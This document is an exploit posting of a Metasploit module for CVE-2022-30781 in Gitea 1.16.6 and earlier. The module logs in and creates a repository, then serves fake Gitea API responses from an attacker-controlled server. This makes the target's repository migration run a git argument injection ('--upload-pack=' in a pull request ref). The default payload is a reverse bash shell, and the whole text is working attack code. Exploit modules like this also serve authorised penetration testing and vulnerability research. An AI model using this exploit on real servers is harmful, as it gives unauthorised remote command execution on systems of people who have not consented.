# Exploit Title: Gitea Git Fetch Remote Code Execution
# Date: 09/14/2022
# Exploit Author: samguy
# Vendor Homepage: https://gitea.io
# Software Link: https://dl.gitea.io/gitea/1.16.6
# Version: <= 1.16.6
# Tested on: Linux - Debian
# Ref : https://tttang.com/archive/1607/
# CVE : CVE-2022-30781

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Gitea Git Fetch Remote Code Execution',
        'Description' => %q{
          This module exploits Git fetch command in Gitea repository migration
          process that leads to a remote command execution on the system.
          This vulnerability affect Gitea before 1.16.7 version.
        },
        'Author' => [
          'wuhan005 & li4n0', # Original PoC
          'krastanoel'        # MSF Module
        ],
        'References' => [
          ['CVE', '2022-30781'],
          ['URL', 'https://tttang.com/archive/1607/']
        ],
        'DisclosureDate' => '2022-05-16',
        'License' => MSF_LICENSE,
        'Platform' => %w[unix win],
        'Arch' => ARCH_CMD,
        'Privileged' => false,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_bash'
              }
            }
          ],
        ],
        'DefaultOptions' => { 'WfsDelay' => 30 },
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => []
        }
      )
    )

    register_options([
      Opt::RPORT(3000),
      OptString.new('TARGETURI', [true, 'Base path', '/']),
      OptString.new('USERNAME', [true, 'Username to authenticate with']),
      OptString.new('PASSWORD', [true, 'Password to use']),
      OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait', 12])
    ])
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/user/login'),
      'keep_cookies' => true
    )
    return CheckCode::Unknown('No response from the web service') if res.nil?
    return CheckCode::Safe("Check TARGETURI - unexpected HTTP response code: #{res.code}") if res.code != 200

    # Powered by Gitea Version: 1.16.6
    unless (match = res.body.match(/Gitea Version: (?<version>[\da-zA-Z.]+)/))
      return CheckCode::Unknown('Target does not appear to be running Gitea.')
    end

    if match[:version].match(/[a-zA-Z]/)
      return CheckCode::Unknown("Unknown Gitea version #{match[:version]}.")
    end

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/user/login'),
      'vars_post' => {
        'user_name' => datastore['USERNAME'],
        'password' => datastore['PASSWORD'],
        '_csrf' => get_csrf(res.get_cookies)
      },
      'keep_cookies' => true
    )
    return CheckCode::Safe('Authentication failed') if res&.code != 302

    if Rex::Version.new(match[:version]) <= Rex::Version.new('1.16.6')
      return CheckCode::Appears("Version detected: #{match[:version]}")
    end

    CheckCode::Safe("Version detected: #{match[:version]}")
  rescue ::Rex::ConnectionError
    return CheckCode::Unknown('Could not connect to the web service')
  end

  def primer
    ['/api/v1/version', '/api/v1/settings/api',
     "/api/v1/repos/#{@migrate_repo_path}",
     "/api/v1/repos/#{@migrate_repo_path}/pulls",
     "/api/v1/repos/#{@migrate_repo_path}/topics"
    ].each { |uri| hardcoded_uripath(uri) } # adding resources

    vprint_status("Creating repository \"#{@repo_name}\"")
    gitea_create_repo
    vprint_good('Repository created')
    vprint_status("Migrating repository")
    gitea_migrate_repo
  end

  def exploit
    @repo_name = rand_text_alphanumeric(6..15)
    @migrate_repo_name = rand_text_alphanumeric(6..15)
    @migrate_repo_path = "#{datastore['username']}/#{@migrate_repo_name}"
    datastore['URIPATH'] = "/#{@migrate_repo_path}"

    Timeout.timeout(datastore['HTTPDELAY']) { super }
  rescue Timeout::Error
    [@repo_name, @migrate_repo_name].map { |name| gitea_remove_repo(name) }
    cleanup # removing all resources
  end

  def get_csrf(cookies)
    csrf = cookies&.split("; ")&.grep(/_csrf=/)&.join&.split("=")&.last
    fail_with(Failure::UnexpectedReply, 'Unable to get CSRF token') unless csrf
    csrf
  end

  def gitea_remove_repo(name)
    vprint_status("Cleanup: removing repository \"#{name}\"")
    uri = "/#{datastore['username']}/#{name}/settings"
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, uri),
      'keep_cookies' => true
    )
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => uri,
      'vars_post' => {
        'action' => 'delete',
        'repo_name' => name,
        '_csrf' => get_csrf(res.get_cookies)
      },
      'keep_cookies' => true
    )
    vprint_warning('Unable to remove repository') if res&.code != 302
  end

  def gitea_create_repo
    uri = normalize_uri(target_uri.path, '/repo/create')
    res = send_request_cgi('method' => 'GET', 'uri' => uri, 'keep_cookies' => true)
    @uid = res&.get_html_document&.at('//input[@id="uid"]/@value')&.text
    fail_with(Failure::UnexpectedReply, 'Unable to get repo uid') unless @uid

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => uri,
      'vars_post' => {
        'uid' => @uid,
        'auto_init' => 'on',
        'readme' => 'Default',
        'repo_name' => @repo_name,
        'trust_model' => 'default',
        'default_branch' => 'master',
        '_csrf' => get_csrf(res.get_cookies)
      },
      'keep_cookies' => true
    )
    fail_with(Failure::UnexpectedReply, 'Unable to create repo') if res&.code != 302

  rescue ::Rex::ConnectionError
    return CheckCode::Unknown('Could not connect to the web service')
  end

  def gitea_migrate_repo
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/repo/migrate'),
      'keep_cookies' => true
    )
    uri = res&.get_html_document&.at('//svg[@class="svg gitea-gitea"]/ancestor::a/@href')&.text
    fail_with(Failure::UnexpectedReply, 'Unable to get Gitea service type') unless uri

    svc_type = Rack::Utils.parse_query(URI.parse(uri).query)['service_type']
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, uri),
      'keep_cookies' => true
    )
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => uri,
      'vars_post' => {
        'uid' => @uid,
        'service' => svc_type,
        'pull_requests' => 'on',
        'repo_name' => @migrate_repo_name,
        '_csrf' => get_csrf(res.get_cookies),
        'auth_token' => rand_text_alphanumeric(6..15),
        'clone_addr' => "http://#{srvhost_addr}:#{srvport}/#{@migrate_repo_path}",
      },
      'keep_cookies' => true
    )
    if res&.code != 302 # possibly triggered by the [migrations] settings
      err = res&.get_html_document&.at('//div[contains(@class, flash-error)]/p')&.text
      gitea_remove_repo(@repo_name)
      cleanup
      fail_with(Failure::UnexpectedReply, "Unable to migrate repo: #{err}")
    end

  rescue ::Rex::ConnectionError
    return CheckCode::Unknown('Could not connect to the web service')
  end

  def on_request_uri(cli, req)
    case req.uri
    when '/api/v1/version'
      send_response(cli, '{"version": "1.16.6"}')
    when '/api/v1/settings/api'
      data = {
        'max_response_items':50,'default_paging_num':30,
        'default_git_trees_per_page':1000,'default_max_blob_size':10485760
      }
      send_response(cli, data.to_json)
    when "/api/v1/repos/#{@migrate_repo_path}"
      data = {
        "clone_url": "#{full_uri}#{datastore['username']}/#{@repo_name}",
        "owner": { "login": datastore['username'] }
      }
      send_response(cli, data.to_json)
    when "/api/v1/repos/#{@migrate_repo_path}/topics?limit=0&page=1"
      send_response(cli, '{"topics":[]}')
    when "/api/v1/repos/#{@migrate_repo_path}/pulls?limit=50&page=1&state=all"
      data = [
        {
          "base": {
            "ref": "master",
          },
          "head": {
            "ref": "--upload-pack=#{payload.encoded}",
            "repo": {
              "clone_url": "./",
              "owner": { "login": "master" },
            }
          },
          "updated_at": "2001-01-01T05:00:00+01:00",
          "user": {}
        }
      ]
      send_response(cli, data.to_json)
    end
  end
end